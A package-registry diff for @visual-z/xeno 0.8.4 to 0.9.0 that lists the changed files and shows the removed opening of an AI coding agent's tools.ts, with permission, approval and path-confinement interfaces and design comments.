@visual-z/xeno 0.8.4 → 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +8 -0
- package/README.md +31 -746
- package/bin/xeno.exe +26 -0
- package/install.cjs +88 -0
- package/package.json +18 -48
- package/docs/app-server.md +0 -115
- package/docs/foundations.md +0 -88
- package/docs/install.md +0 -244
- package/docs/providers.md +0 -172
- package/docs/research/foundation-clients-2026-10-09.md +0 -27
- package/docs/research/foundation-editing-2026-10-09.md +0 -56
- package/docs/research/foundation-network-2026-10-09.md +0 -37
- package/docs/research/foundation-workflow-2026-10-09.md +0 -37
- package/src/apps/acp-server.ts +0 -41
- package/src/apps/agent-profiles.ts +0 -19
- package/src/apps/app-server.ts +0 -30
- package/src/apps/approve.ts +0 -49
- package/src/apps/cli.ts +0 -99
- package/src/apps/commands.ts +0 -319
- package/src/apps/completions.ts +0 -87
- package/src/apps/control-transport.ts +0 -90
- package/src/apps/export-cli.ts +0 -24
- package/src/apps/goal-flow.ts +0 -70
- package/src/apps/image-draft.ts +0 -46
- package/src/apps/input.ts +0 -312
- package/src/apps/model-catalog.ts +0 -69
- package/src/apps/preferences.ts +0 -20
- package/src/apps/project-trust.ts +0 -9
- package/src/apps/provider-connect.ts +0 -346
- package/src/apps/question-ui.ts +0 -27
- package/src/apps/render.ts +0 -181
- package/src/apps/resources.ts +0 -66
- package/src/apps/review.ts +0 -109
- package/src/apps/session-hub.ts +0 -96
- package/src/apps/session-lifecycle.ts +0 -64
- package/src/apps/shell.ts +0 -2071
- package/src/apps/startup-input.ts +0 -135
- package/src/apps/startup.ts +0 -1677
- package/src/apps/ui/app.ts +0 -1818
- package/src/apps/ui/control-model.ts +0 -43
- package/src/apps/ui/extension-host.ts +0 -194
- package/src/apps/ui/image-cache.ts +0 -121
- package/src/apps/ui/palette.ts +0 -88
- package/src/apps/ui/project.ts +0 -127
- package/src/apps/ui/standalone.ts +0 -148
- package/src/apps/ui/status-model.ts +0 -68
- package/src/apps/ui/surface.ts +0 -91
- package/src/apps/ui/theme.ts +0 -86
- package/src/apps/update-check.ts +0 -112
- package/src/apps/workflow.ts +0 -58
- package/src/core/acceptance.ts +0 -139
- package/src/core/action-defaults.ts +0 -58
- package/src/core/activity-status.ts +0 -52
- package/src/core/agent-profile.ts +0 -130
- package/src/core/attachment-input.ts +0 -17
- package/src/core/blind-checks.ts +0 -72
- package/src/core/boundary.ts +0 -174
- package/src/core/branch-receipt.ts +0 -26
- package/src/core/catalog-merge.ts +0 -19
- package/src/core/checkpoints.ts +0 -85
- package/src/core/churn.ts +0 -61
- package/src/core/command-artifacts.ts +0 -94
- package/src/core/command-contract.ts +0 -151
- package/src/core/completion-action.ts +0 -20
- package/src/core/completion-review.ts +0 -98
- package/src/core/context-detail.ts +0 -37
- package/src/core/context-policy.ts +0 -133
- package/src/core/context-window.ts +0 -54
- package/src/core/continuation.ts +0 -130
- package/src/core/control-protocol.ts +0 -69
- package/src/core/control-view.ts +0 -39
- package/src/core/cycle.ts +0 -17
- package/src/core/data-query.ts +0 -201
- package/src/core/deadline.ts +0 -40
- package/src/core/derive.ts +0 -516
- package/src/core/draft-images.ts +0 -56
- package/src/core/edit-plan.ts +0 -200
- package/src/core/environment.ts +0 -181
- package/src/core/event-validation.ts +0 -220
- package/src/core/events.ts +0 -670
- package/src/core/evidence-ladder.ts +0 -62
- package/src/core/evidence-links.ts +0 -68
- package/src/core/evidence.ts +0 -240
- package/src/core/execution.ts +0 -18
- package/src/core/exhaustive.ts +0 -18
- package/src/core/export.ts +0 -179
- package/src/core/extension-flags.ts +0 -14
- package/src/core/external-effects.ts +0 -488
- package/src/core/failure-recovery.ts +0 -173
- package/src/core/file-precondition.ts +0 -78
- package/src/core/file-references.ts +0 -35
- package/src/core/frontmatter.ts +0 -213
- package/src/core/git-status.ts +0 -29
- package/src/core/goal-view.ts +0 -64
- package/src/core/goal.ts +0 -200
- package/src/core/handoff.ts +0 -479
- package/src/core/history-query.ts +0 -139
- package/src/core/history.ts +0 -237
- package/src/core/image-limits.ts +0 -72
- package/src/core/images.ts +0 -46
- package/src/core/integration-health.ts +0 -34
- package/src/core/json-event.ts +0 -131
- package/src/core/json-pointer.ts +0 -46
- package/src/core/keymap.ts +0 -153
- package/src/core/lsp-framing.ts +0 -34
- package/src/core/mcp-config.ts +0 -68
- package/src/core/model-picker.ts +0 -64
- package/src/core/model-preferences.ts +0 -28
- package/src/core/model-replay.ts +0 -22
- package/src/core/model-scope.ts +0 -53
- package/src/core/note-guidance.ts +0 -34
- package/src/core/oauth-fields.ts +0 -44
- package/src/core/observation-view.ts +0 -152
- package/src/core/outcome.ts +0 -44
- package/src/core/overflow.ts +0 -59
- package/src/core/packages.ts +0 -47
- package/src/core/patch.ts +0 -130
- package/src/core/path-suggestions.ts +0 -59
- package/src/core/permissions.ts +0 -410
- package/src/core/process-receipt.ts +0 -105
- package/src/core/process-state.ts +0 -37
- package/src/core/program-status.ts +0 -40
- package/src/core/progress.ts +0 -150
- package/src/core/project.ts +0 -431
- package/src/core/prompt-policy.ts +0 -46
- package/src/core/prompts.ts +0 -111
- package/src/core/question.ts +0 -94
- package/src/core/queue.ts +0 -78
- package/src/core/read-bounds.ts +0 -24
- package/src/core/read-observation.ts +0 -106
- package/src/core/recovery-sources.ts +0 -74
- package/src/core/regex-dialect.ts +0 -25
- package/src/core/request-budget.ts +0 -23
- package/src/core/request-progress.ts +0 -87
- package/src/core/request-state.ts +0 -273
- package/src/core/resource-selection.ts +0 -36
- package/src/core/response-recovery.ts +0 -59
- package/src/core/resume.ts +0 -59
- package/src/core/review.ts +0 -68
- package/src/core/ripgrep-release.ts +0 -64
- package/src/core/runtime-target.ts +0 -94
- package/src/core/scheduling.ts +0 -8
- package/src/core/search-observation.ts +0 -97
- package/src/core/secrets.ts +0 -188
- package/src/core/session-archive.ts +0 -4
- package/src/core/session-browser.ts +0 -82
- package/src/core/session-entry.ts +0 -61
- package/src/core/session-exit.ts +0 -42
- package/src/core/session-format.ts +0 -169
- package/src/core/session-position.ts +0 -26
- package/src/core/session-tree.ts +0 -147
- package/src/core/settings.ts +0 -192
- package/src/core/skills.ts +0 -165
- package/src/core/sql-query.ts +0 -211
- package/src/core/stall.ts +0 -128
- package/src/core/stop-report.ts +0 -68
- package/src/core/text-normalize.ts +0 -81
- package/src/core/theme.ts +0 -166
- package/src/core/thinking.ts +0 -26
- package/src/core/tokens.ts +0 -151
- package/src/core/tool-contract.ts +0 -153
- package/src/core/tool-discovery.ts +0 -87
- package/src/core/tool-failure.ts +0 -81
- package/src/core/tool-input.ts +0 -44
- package/src/core/transcript.ts +0 -108
- package/src/core/tui-mode.ts +0 -29
- package/src/core/update-check.ts +0 -157
- package/src/core/version.ts +0 -55
- package/src/core/web-content.ts +0 -80
- package/src/core/work-state.ts +0 -154
- package/src/core/workflow-mode.ts +0 -34
- package/src/core/working-set.ts +0 -119
- package/src/core/yaml.ts +0 -282
- package/src/runtime/acp-agent.ts +0 -289
- package/src/runtime/agent-profiles.ts +0 -21
- package/src/runtime/auth.ts +0 -367
- package/src/runtime/blind-check.ts +0 -36
- package/src/runtime/branch-jobs.ts +0 -36
- package/src/runtime/catalog.ts +0 -285
- package/src/runtime/clipboard.ts +0 -125
- package/src/runtime/command-artifacts.ts +0 -64
- package/src/runtime/connection-reuse.ts +0 -40
- package/src/runtime/control-client.ts +0 -149
- package/src/runtime/control-connection.ts +0 -139
- package/src/runtime/counter-check.ts +0 -74
- package/src/runtime/environment-tools.ts +0 -60
- package/src/runtime/evidence-notes.ts +0 -35
- package/src/runtime/exec-sessions.ts +0 -456
- package/src/runtime/execution-control.ts +0 -40
- package/src/runtime/extension-loader.ts +0 -37
- package/src/runtime/extension-ui.ts +0 -47
- package/src/runtime/extensions.ts +0 -370
- package/src/runtime/formatter-tool.ts +0 -38
- package/src/runtime/formatter.ts +0 -50
- package/src/runtime/foundation.ts +0 -116
- package/src/runtime/history-cache.ts +0 -57
- package/src/runtime/history-tools.ts +0 -168
- package/src/runtime/images.ts +0 -80
- package/src/runtime/integrations.ts +0 -216
- package/src/runtime/loop.ts +0 -3108
- package/src/runtime/lsp-client.ts +0 -201
- package/src/runtime/mcp-client.ts +0 -264
- package/src/runtime/mcp-oauth.ts +0 -168
- package/src/runtime/mcp-schema.ts +0 -51
- package/src/runtime/model-config.ts +0 -232
- package/src/runtime/model-data.LICENSE +0 -27
- package/src/runtime/model-data.ts +0 -21
- package/src/runtime/model-discovery.ts +0 -208
- package/src/runtime/model-replay.ts +0 -10
- package/src/runtime/model-scope.ts +0 -20
- package/src/runtime/model-sources.ts +0 -151
- package/src/runtime/model.ts +0 -686
- package/src/runtime/models-fetch.ts +0 -57
- package/src/runtime/oauth-device.ts +0 -86
- package/src/runtime/oauth.ts +0 -853
- package/src/runtime/open-image.ts +0 -42
- package/src/runtime/openai-responses.ts +0 -304
- package/src/runtime/openai.ts +0 -697
- package/src/runtime/output-schema.ts +0 -26
- package/src/runtime/package-manager.ts +0 -125
- package/src/runtime/patch-tool.ts +0 -38
- package/src/runtime/permission-resources.ts +0 -18
- package/src/runtime/pi-provider.ts +0 -423
- package/src/runtime/program-status.ts +0 -38
- package/src/runtime/progress.ts +0 -26
- package/src/runtime/provider-access.ts +0 -21
- package/src/runtime/provider-connect.ts +0 -109
- package/src/runtime/provider-presets.ts +0 -98
- package/src/runtime/provider-protocols.ts +0 -29
- package/src/runtime/provider-request.ts +0 -87
- package/src/runtime/provider-tool-policy.ts +0 -33
- package/src/runtime/provider.ts +0 -580
- package/src/runtime/question-tool.ts +0 -62
- package/src/runtime/retry.ts +0 -447
- package/src/runtime/review-tool.ts +0 -48
- package/src/runtime/rich-text.ts +0 -36
- package/src/runtime/runtime-target.ts +0 -149
- package/src/runtime/secrets.ts +0 -79
- package/src/runtime/self-update.ts +0 -74
- package/src/runtime/session-control.ts +0 -265
- package/src/runtime/session-hub.ts +0 -85
- package/src/runtime/stream-idle.ts +0 -80
- package/src/runtime/tool-broker.ts +0 -137
- package/src/runtime/tool-discovery.ts +0 -58
- package/src/runtime/tool-queue.ts +0 -77
- package/src/runtime/tools.ts +0 -1820
- package/src/runtime/turn-effects.ts +0 -31
- package/src/runtime/update-check.ts +0 -48
- package/src/runtime/usage.ts +0 -253
- package/src/runtime/version.ts +0 -12
- package/src/runtime/web-http.ts +0 -56
- package/src/runtime/web-tools.ts +0 -88
- package/src/runtime/working-notes.ts +0 -60
- package/src/runtime/workspace-lifecycle.ts +0 -141
- package/src/store/acceptance.ts +0 -15
- package/src/store/agent-profile-files.ts +0 -13
- package/src/store/atomic.ts +0 -31
- package/src/store/auth-store.ts +0 -50
- package/src/store/blind-checks.ts +0 -32
- package/src/store/blobs.ts +0 -143
- package/src/store/checkpoint-history.ts +0 -32
- package/src/store/command-artifacts.ts +0 -96
- package/src/store/command.ts +0 -111
- package/src/store/config.ts +0 -69
- package/src/store/context-files.ts +0 -436
- package/src/store/file-checkpoints.ts +0 -108
- package/src/store/file-index.ts +0 -174
- package/src/store/foundation-config.ts +0 -24
- package/src/store/git-checkpoints.ts +0 -67
- package/src/store/git-status.ts +0 -15
- package/src/store/history-search.ts +0 -19
- package/src/store/log.ts +0 -725
- package/src/store/lsp-document.ts +0 -30
- package/src/store/mcp-credentials.ts +0 -85
- package/src/store/models.ts +0 -60
- package/src/store/observations.ts +0 -224
- package/src/store/packages.ts +0 -98
- package/src/store/patch.ts +0 -92
- package/src/store/permission-paths.ts +0 -34
- package/src/store/process-receipts.ts +0 -34
- package/src/store/query-source.ts +0 -49
- package/src/store/recovery.ts +0 -44
- package/src/store/replay.ts +0 -76
- package/src/store/resource-index.ts +0 -170
- package/src/store/resources.ts +0 -285
- package/src/store/restore.ts +0 -110
- package/src/store/review.ts +0 -109
- package/src/store/runtime-target.ts +0 -64
- package/src/store/search.ts +0 -728
- package/src/store/secrets.ts +0 -44
- package/src/store/serial.ts +0 -13
- package/src/store/session-archive.ts +0 -165
- package/src/store/session-browser.ts +0 -68
- package/src/store/session-position.ts +0 -27
- package/src/store/sessions.ts +0 -525
- package/src/store/source-cancellation.ts +0 -6
- package/src/store/tool-binaries.ts +0 -90
- package/src/store/trust.ts +0 -82
- package/src/store/update-cache.ts +0 -36
- package/src/store/user-settings.ts +0 -30
- package/src/store/workspace-clone.ts +0 -42
- package/src/store/workspace-observation.ts +0 -113
- package/src/store/workspace.ts +0 -115
- package/src/store/worktree.ts +0 -278
- package/src/tui/ansi-spans.ts +0 -126
- package/src/tui/diff.ts +0 -160
- package/src/tui/exhaustive.ts +0 -14
- package/src/tui/fuzzy.ts +0 -75
- package/src/tui/style.ts +0 -208
- package/src/tui/ui/atomic-draft.ts +0 -121
- package/src/tui/ui/branch-panel.ts +0 -47
- package/src/tui/ui/canvas.ts +0 -96
- package/src/tui/ui/colors.ts +0 -70
- package/src/tui/ui/composer.ts +0 -199
- package/src/tui/ui/control-panel.ts +0 -25
- package/src/tui/ui/control-sidebar.ts +0 -49
- package/src/tui/ui/dialog.ts +0 -398
- package/src/tui/ui/draft.ts +0 -23
- package/src/tui/ui/duration.ts +0 -16
- package/src/tui/ui/edge.ts +0 -186
- package/src/tui/ui/image-size.ts +0 -44
- package/src/tui/ui/ink.ts +0 -210
- package/src/tui/ui/items.ts +0 -42
- package/src/tui/ui/keys.ts +0 -40
- package/src/tui/ui/layout.ts +0 -74
- package/src/tui/ui/list-model.ts +0 -86
- package/src/tui/ui/list-view.ts +0 -172
- package/src/tui/ui/mascot.ts +0 -67
- package/src/tui/ui/messages.ts +0 -518
- package/src/tui/ui/motion.ts +0 -28
- package/src/tui/ui/paths.ts +0 -10
- package/src/tui/ui/pictures.ts +0 -108
- package/src/tui/ui/prompt-history.ts +0 -60
- package/src/tui/ui/screen.ts +0 -579
- package/src/tui/ui/status.ts +0 -403
- package/src/tui/ui/styled.ts +0 -85
- package/src/tui/ui/tool-card.ts +0 -150
- package/src/tui/width.ts +0 -567
- package/src/vendor/pi-rich/LICENSE.upstream +0 -21
- package/src/vendor/pi-rich/UPSTREAM.json +0 -17
- package/src/vendor/pi-rich/clipboard-command.ts +0 -44
- package/src/vendor/pi-rich/exif-orientation.ts +0 -182
- package/src/vendor/pi-rich/html.ts +0 -51
- package/src/vendor/pi-rich/image-convert.ts +0 -49
- package/src/vendor/pi-rich/image-resize-core.ts +0 -164
- package/src/vendor/pi-rich/image-resize-worker.ts +0 -42
- package/src/vendor/pi-rich/image-resize.ts +0 -123
- package/src/vendor/pi-rich/mime.ts +0 -116
- package/src/vendor/pi-rich/photon.ts +0 -139
- package/src/vendor/pi-rich/syntax-highlight.ts +0 -214
package/src/runtime/tools.ts
DELETED
|
@@ -1,1820 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Built-in tools: read, write, edit, bash, plus grep / find / ls.
|
|
3
|
-
*
|
|
4
|
-
* Search is its own trio because bash defaults to ask: without a confined
|
|
5
|
-
* read-only search the model reaches for the shell for every "where is this
|
|
6
|
-
* symbol", and each of those costs a keypress. The schemas stay small; the
|
|
7
|
-
* walk lives in store/search.ts so ignore rules and the no-symlink cap stay
|
|
8
|
-
* one implementation.
|
|
9
|
-
*
|
|
10
|
-
* The load-bearing property here is that a tool's EFFECT is derived by this
|
|
11
|
-
* module from what actually happened, never from what the model said it was
|
|
12
|
-
* doing. A read records the digest of the bytes it returned; an edit records
|
|
13
|
-
* the digests either side of the write; a command records its exit code. That
|
|
14
|
-
* is what lets deriveHandoff verify a completion claim against evidence rather
|
|
15
|
-
* than believing it.
|
|
16
|
-
*
|
|
17
|
-
* P.3 separates shell execution facts from recoverable file changes. Commands
|
|
18
|
-
* observe a bounded source scope for verification; optional file checkpoints
|
|
19
|
-
* belong to the admitted execution boundary, not session startup or turn end.
|
|
20
|
-
*/
|
|
21
|
-
|
|
22
|
-
import { readFile, stat } from "node:fs/promises";
|
|
23
|
-
import { createHash } from "node:crypto";
|
|
24
|
-
import { hostname } from "node:os";
|
|
25
|
-
import { resolve, relative, isAbsolute, join, sep } from "node:path";
|
|
26
|
-
import type { Effect, LineRange, ArtifactRef, ApprovalEvent } from "../core/events.ts";
|
|
27
|
-
import { archiveObservation, readObservation, type ArchivedObservation } from "../store/observations.ts";
|
|
28
|
-
import { blobAddress } from "../store/blobs.ts";
|
|
29
|
-
import { commandHeader, foldCarriageReturns, headTailView } from "../core/observation-view.ts";
|
|
30
|
-
import {
|
|
31
|
-
yieldWait, emptyYieldWait, findSession, closedSession, runningSessions, startSession, pollSession, isControlInput,
|
|
32
|
-
} from "./exec-sessions.ts";
|
|
33
|
-
import { recoverProcessReceipt, type ProcessReceipt, type latestProcessReceipt } from "../core/process-receipt.ts";
|
|
34
|
-
import { observeCommand, observeArgvCommand } from "../store/command.ts";
|
|
35
|
-
import { executionOutcome, type ExecutionOutcome } from "../core/outcome.ts";
|
|
36
|
-
import { commandCompletion, commandTimeout, commandAnswer, outputBytesForTokens } from "../core/command-contract.ts";
|
|
37
|
-
import { linesWithin, previewReadObservation, readObservationText, type ObservationReceipt } from "../core/read-observation.ts";
|
|
38
|
-
import { checkFilePrecondition, isFileDigest, isFileReadDescriptor, type FileReadDescriptor, type FilePrecondition } from "../core/file-precondition.ts";
|
|
39
|
-
import { previewSearchObservation, searchObservationText } from "../core/search-observation.ts";
|
|
40
|
-
import { waitForAdmission } from "./execution-control.ts";
|
|
41
|
-
import { assertNever } from "../core/exhaustive.ts";
|
|
42
|
-
import { artifactRecovery, toolDescription, type ToolGuidance } from "../core/prompt-policy.ts";
|
|
43
|
-
import { classifyGate } from "../core/evidence.ts";
|
|
44
|
-
import { readBounds, readNotice } from "../core/read-bounds.ts";
|
|
45
|
-
import { closestName, inputError, isJsonValue, minimalInput, type JsonValue, type ToolDiagnostic } from "../core/tool-contract.ts";
|
|
46
|
-
import { failureDiagnostic, failureFromError, scopeFailureGuidance, NOT_STARTED, READ_ATTEMPTED, UNKNOWN_EFFECT, type FailureFacts } from "../core/tool-failure.ts";
|
|
47
|
-
import { planEdits, type EditSpec } from "../core/edit-plan.ts";
|
|
48
|
-
import { toView } from "../core/text-normalize.ts";
|
|
49
|
-
import { nearestPaths } from "../core/path-suggestions.ts";
|
|
50
|
-
import { buildFileIndex, MAX_INDEX_ENTRIES } from "../store/file-index.ts";
|
|
51
|
-
import { repairToolInput } from "../core/tool-input.ts";
|
|
52
|
-
import { HISTORY_SECTIONS } from "../core/history.ts";
|
|
53
|
-
import { RECOVERY_SECTIONS } from "../core/recovery-sources.ts";
|
|
54
|
-
import { queryData } from "../core/data-query.ts";
|
|
55
|
-
import { parseQueryInput, MAX_SQL_CHARS, SQL_QUERY_HELP } from "../core/sql-query.ts";
|
|
56
|
-
import { readQuerySources } from "../store/query-source.ts";
|
|
57
|
-
import {
|
|
58
|
-
approvalNeeded,
|
|
59
|
-
askWithoutTtyMessage,
|
|
60
|
-
deniedMessage,
|
|
61
|
-
describeRule,
|
|
62
|
-
explainDecision,
|
|
63
|
-
permissionRequest,
|
|
64
|
-
type PermissionRequest,
|
|
65
|
-
type PermissionRule,
|
|
66
|
-
} from "../core/permissions.ts";
|
|
67
|
-
import type { ToolSchema } from "./provider.ts";
|
|
68
|
-
import type { HistoryCache } from "./history-cache.ts";
|
|
69
|
-
import type { ImageRef } from "../core/images.ts";
|
|
70
|
-
import { imageDescription } from "../core/images.ts";
|
|
71
|
-
import { attachImageBytes } from "./images.ts";
|
|
72
|
-
import { detectSupportedImageMimeType } from "../vendor/pi-rich/mime.ts";
|
|
73
|
-
import { find as findFiles, grep, ls, MAX_FILE_BYTES, MAX_SEARCH_CAPTURE_BYTES, type SearchResult } from "../store/search.ts";
|
|
74
|
-
import { DEFAULT_IGNORE } from "../store/workspace.ts";
|
|
75
|
-
import { observeWorkspace } from "../store/workspace-observation.ts";
|
|
76
|
-
import { readEditableFile, replaceFile } from "../store/file-checkpoints.ts";
|
|
77
|
-
import type { WorkspaceLifecycle } from "./workspace-lifecycle.ts";
|
|
78
|
-
import { environmentProbeCommand } from "../core/environment.ts";
|
|
79
|
-
import { observeEnvironment } from "./environment-tools.ts";
|
|
80
|
-
import { beginCommandArtifacts, prepareArtifactArguments, commandArtifactSummary } from "./command-artifacts.ts";
|
|
81
|
-
import { MAX_COMMAND_ARTIFACTS } from "../core/command-artifacts.ts";
|
|
82
|
-
import { checkSourceCancellation } from "../store/source-cancellation.ts";
|
|
83
|
-
import { canonicalPermissionRequest } from "../store/permission-paths.ts";
|
|
84
|
-
import { permissionResourceAction, permissionResourceDecision } from "./permission-resources.ts";
|
|
85
|
-
import { parsePatch, patchPaths } from "../core/patch.ts";
|
|
86
|
-
import { decideWithSessionRules } from "../core/permissions.ts";
|
|
87
|
-
|
|
88
|
-
export interface ToolResult {
|
|
89
|
-
/** Broker-owned identity, returned to a composer only after the original receipt commits. */
|
|
90
|
-
invocation?: { call_id: string; event: string };
|
|
91
|
-
images?: readonly ImageRef[];
|
|
92
|
-
/** What the model sees. */
|
|
93
|
-
content: string;
|
|
94
|
-
ok: boolean;
|
|
95
|
-
/** Derived by the harness from the actual outcome. */
|
|
96
|
-
effect?: Effect;
|
|
97
|
-
content_ref?: ArtifactRef;
|
|
98
|
-
content_sha256?: string;
|
|
99
|
-
/** Observed bytes without presentation/version metadata, for D9 novelty. */
|
|
100
|
-
observation_sha256?: string;
|
|
101
|
-
observation?: ObservationReceipt;
|
|
102
|
-
outcome?: ExecutionOutcome;
|
|
103
|
-
data?: JsonValue;
|
|
104
|
-
diagnostic?: ToolDiagnostic;
|
|
105
|
-
warnings?: readonly ToolDiagnostic[];
|
|
106
|
-
/** Scoped instructions attached to a read-only call that ran (S.6 item 3). */
|
|
107
|
-
instructions?: { keys: readonly string[]; text: string };
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
/**
|
|
111
|
-
* What target-scoped instruction discovery decided for one call: hold a change
|
|
112
|
-
* back until the rules are read, or let a read-only call run and carry them.
|
|
113
|
-
*/
|
|
114
|
-
export type InstructionCheck =
|
|
115
|
-
| { kind: "block"; result: ToolResult }
|
|
116
|
-
| { kind: "attach"; instructions: { keys: readonly string[]; text: string } };
|
|
117
|
-
|
|
118
|
-
export interface ToolContext {
|
|
119
|
-
/** S.9: placeholders back to values, applied after admission and only to what the tool itself runs. */
|
|
120
|
-
expandSecrets?: (input: unknown) => unknown;
|
|
121
|
-
historyEvents?: () => Promise<import("../core/events.ts").LogEvent[]>;
|
|
122
|
-
checkpointBlobs?: string;
|
|
123
|
-
frozenSystem?: () => string;
|
|
124
|
-
instructionCheck?: (ctx: ToolContext, name: string, input: unknown) => Promise<InstructionCheck | null>;
|
|
125
|
-
workflowMode?: "build" | "plan";
|
|
126
|
-
/** What a Plan-mode refusal tells the model instead of the default "select Build". */
|
|
127
|
-
planHint?: string;
|
|
128
|
-
/** CLI owns its approval defaults; SDK callers retain their supplied host policy across reload. */
|
|
129
|
-
appOwnsPermissions?: true;
|
|
130
|
-
hostPermissionRules?: PermissionRule[];
|
|
131
|
-
questionSlot?: import("./question-tool.ts").QuestionSlot;
|
|
132
|
-
/** R10: model-visible names constrain new advice without granting tool admission. */
|
|
133
|
-
advice?: readonly string[];
|
|
134
|
-
/** Runtime adapter identity, never supplied by a model tool argument. */
|
|
135
|
-
hostId?: string;
|
|
136
|
-
/** R4: trusted Session projection over original log ancestry, never model input. */
|
|
137
|
-
observedFileVersion?: (absolute: string) => Promise<string | undefined>;
|
|
138
|
-
/** R7: original active ancestry, scoped by Session rather than a model-supplied log path. */
|
|
139
|
-
observedProcess?: (session: number) => Promise<ReturnType<typeof latestProcessReceipt>>;
|
|
140
|
-
/** P.3: admitted execution owns file recovery; extensions cannot supply model-authored effects. */
|
|
141
|
-
workspace?: WorkspaceLifecycle;
|
|
142
|
-
ownedStatePaths?: readonly string[];
|
|
143
|
-
/** O.15: optional disposable view; the reader still validates the original log. */
|
|
144
|
-
historyCache?: HistoryCache;
|
|
145
|
-
/** O.14: opaque process ownership is supplied by Session, never by model input. */
|
|
146
|
-
execOwner?: string;
|
|
147
|
-
/** Session-owned empty stdin waits; low-level/native callers retain bounded polling. */
|
|
148
|
-
processWait?: { wake(): AbortSignal };
|
|
149
|
-
onProcessWait?: (session: number, active: boolean) => void;
|
|
150
|
-
/** Session-owned registrations never mutate the built-in table (D13). */
|
|
151
|
-
extensions?: ReadonlyMap<string, ToolDefinition>;
|
|
152
|
-
/** R11: current locally selected optional schemas, never restored as authority from historical text. */
|
|
153
|
-
deferredTools?: readonly ToolSchema[];
|
|
154
|
-
callId?: string;
|
|
155
|
-
parentCallId?: string;
|
|
156
|
-
/** Pi A: a live composing scope supplied by Session, never model arguments. */
|
|
157
|
-
invoke?: (name: string, input: unknown, options?: NestedInvocationOptions) => Promise<ToolResult>;
|
|
158
|
-
/** Trusted extension host capability. Never exposed in ExtensionContext or a provider schema. */
|
|
159
|
-
invokeHost?: (input: NativeCommandInput, signal?: AbortSignal) => Promise<ToolResult>;
|
|
160
|
-
runOwnedCommand?: (execute: () => Promise<ToolResult>) => Promise<ToolResult>;
|
|
161
|
-
drainNested?: () => Promise<void>;
|
|
162
|
-
origin?: "extension";
|
|
163
|
-
readonlyBranch?: boolean;
|
|
164
|
-
extensionDepth?: number;
|
|
165
|
-
extensionHooks?: {
|
|
166
|
-
serial?(): boolean;
|
|
167
|
-
scope?<T>(ctx: ToolContext, action: () => T): T;
|
|
168
|
-
before(name: string, input: unknown, id: string | undefined, parentId?: string): Promise<string | undefined>;
|
|
169
|
-
event(type: string, fields: Record<string, unknown>): Promise<void>;
|
|
170
|
-
};
|
|
171
|
-
imageStore?: string;
|
|
172
|
-
imageAutoResize?: boolean;
|
|
173
|
-
/** O.1: per-execution copy; never mutate the session's shared tool context with a live signal. */
|
|
174
|
-
signal?: AbortSignal;
|
|
175
|
-
/** Absolute path. Every tool path is confined to this subtree. */
|
|
176
|
-
root: string;
|
|
177
|
-
/**
|
|
178
|
-
* Absolute path containing `root`: the boundary for model-supplied paths.
|
|
179
|
-
* Absent means `root`. Setting it wider lets file tools reach, say, /etc
|
|
180
|
-
* during an evaluation without making `root` -- the base for relative
|
|
181
|
-
* paths and the scope of every fingerprint and snapshot -- the whole disk.
|
|
182
|
-
*/
|
|
183
|
-
pathRoot?: string;
|
|
184
|
-
/** O.12: exact frozen skill resources can be read without widening the path boundary. */
|
|
185
|
-
skillResources?: readonly { path: string; text: string; modelInvocable: boolean }[];
|
|
186
|
-
/**
|
|
187
|
-
* Which tools this caller may run at all.
|
|
188
|
-
*
|
|
189
|
-
* Narrowing the schema tells a cooperative model what not to call; it is
|
|
190
|
-
* not a boundary, because a call that arrives anyway still executes. A
|
|
191
|
-
* read-only branch has to be unable to write even if it asks, so the
|
|
192
|
-
* allow-list lives on the context that runTool actually consults.
|
|
193
|
-
*/
|
|
194
|
-
allow?: readonly string[];
|
|
195
|
-
/** Command names that count as verification gates, by leading token. */
|
|
196
|
-
gates: Record<string, string>;
|
|
197
|
-
/** Per-command wall-clock default. An unbounded wait is not allowed. */
|
|
198
|
-
timeoutMs: number;
|
|
199
|
-
/** Ceiling on a model-requested `timeout`; the schema maximum is advice, this is the bound. */
|
|
200
|
-
maxTimeoutMs?: number;
|
|
201
|
-
/** Tool output above this is truncated; the marker says how much was cut. */
|
|
202
|
-
maxOutputBytes: number;
|
|
203
|
-
outputStore?: string;
|
|
204
|
-
onOutput?: (chunk: Uint8Array) => void;
|
|
205
|
-
/**
|
|
206
|
-
* First-match permission rules. Absent means every call is allowed, which
|
|
207
|
-
* is what the existing tests rely on: they exercise the tool, not the gate.
|
|
208
|
-
* The CLI always supplies a list whose default is bash=ask.
|
|
209
|
-
*/
|
|
210
|
-
rules?: readonly PermissionRule[];
|
|
211
|
-
/**
|
|
212
|
-
* Session-scoped remembers. Mutated in place, never written to disk: a
|
|
213
|
-
* persisted "always allow" would fire months later when nobody is watching.
|
|
214
|
-
*/
|
|
215
|
-
sessionRules?: PermissionRule[];
|
|
216
|
-
/**
|
|
217
|
-
* Called when decide() returns ask. Tests set this directly. The CLI
|
|
218
|
-
* uses `askSlot` so the TUI can attach and detach without replacing
|
|
219
|
-
* the ToolContext object (sessionRules live on that object).
|
|
220
|
-
*/
|
|
221
|
-
ask?: (request: PermissionRequest) => Promise<ApprovalChoice>;
|
|
222
|
-
/**
|
|
223
|
-
* Stable slot the TUI writes. A missing `current` is "no tty": the
|
|
224
|
-
* refusal then names `--allow-tools` rather than pretending someone
|
|
225
|
-
* said no.
|
|
226
|
-
*/
|
|
227
|
-
askSlot?: { current?: (request: PermissionRequest) => Promise<ApprovalChoice> };
|
|
228
|
-
/**
|
|
229
|
-
* Receives the gate's verdict for a call that needed one, and is awaited
|
|
230
|
-
* before the call may start (feat-approval-events). The session appends it
|
|
231
|
-
* as an `approval` event; absent, nothing is recorded.
|
|
232
|
-
*/
|
|
233
|
-
onApproval?: (approval: ApprovalRecord) => Promise<void>;
|
|
234
|
-
}
|
|
235
|
-
|
|
236
|
-
/** The `approval` event without the identity the log assigns. */
|
|
237
|
-
export type ApprovalRecord = Omit<ApprovalEvent, "t" | "id" | "at">;
|
|
238
|
-
|
|
239
|
-
export interface NestedInvocationOptions { signal?: AbortSignal }
|
|
240
|
-
|
|
241
|
-
/**
|
|
242
|
-
* What the person picked at the approval prompt.
|
|
243
|
-
*
|
|
244
|
-
* `command` is only meaningful for bash, where the prompt shows the exact
|
|
245
|
-
* string. Other tools have no command to remember.
|
|
246
|
-
*/
|
|
247
|
-
export type ApprovalChoice = "once" | "command" | "tool" | "deny";
|
|
248
|
-
|
|
249
|
-
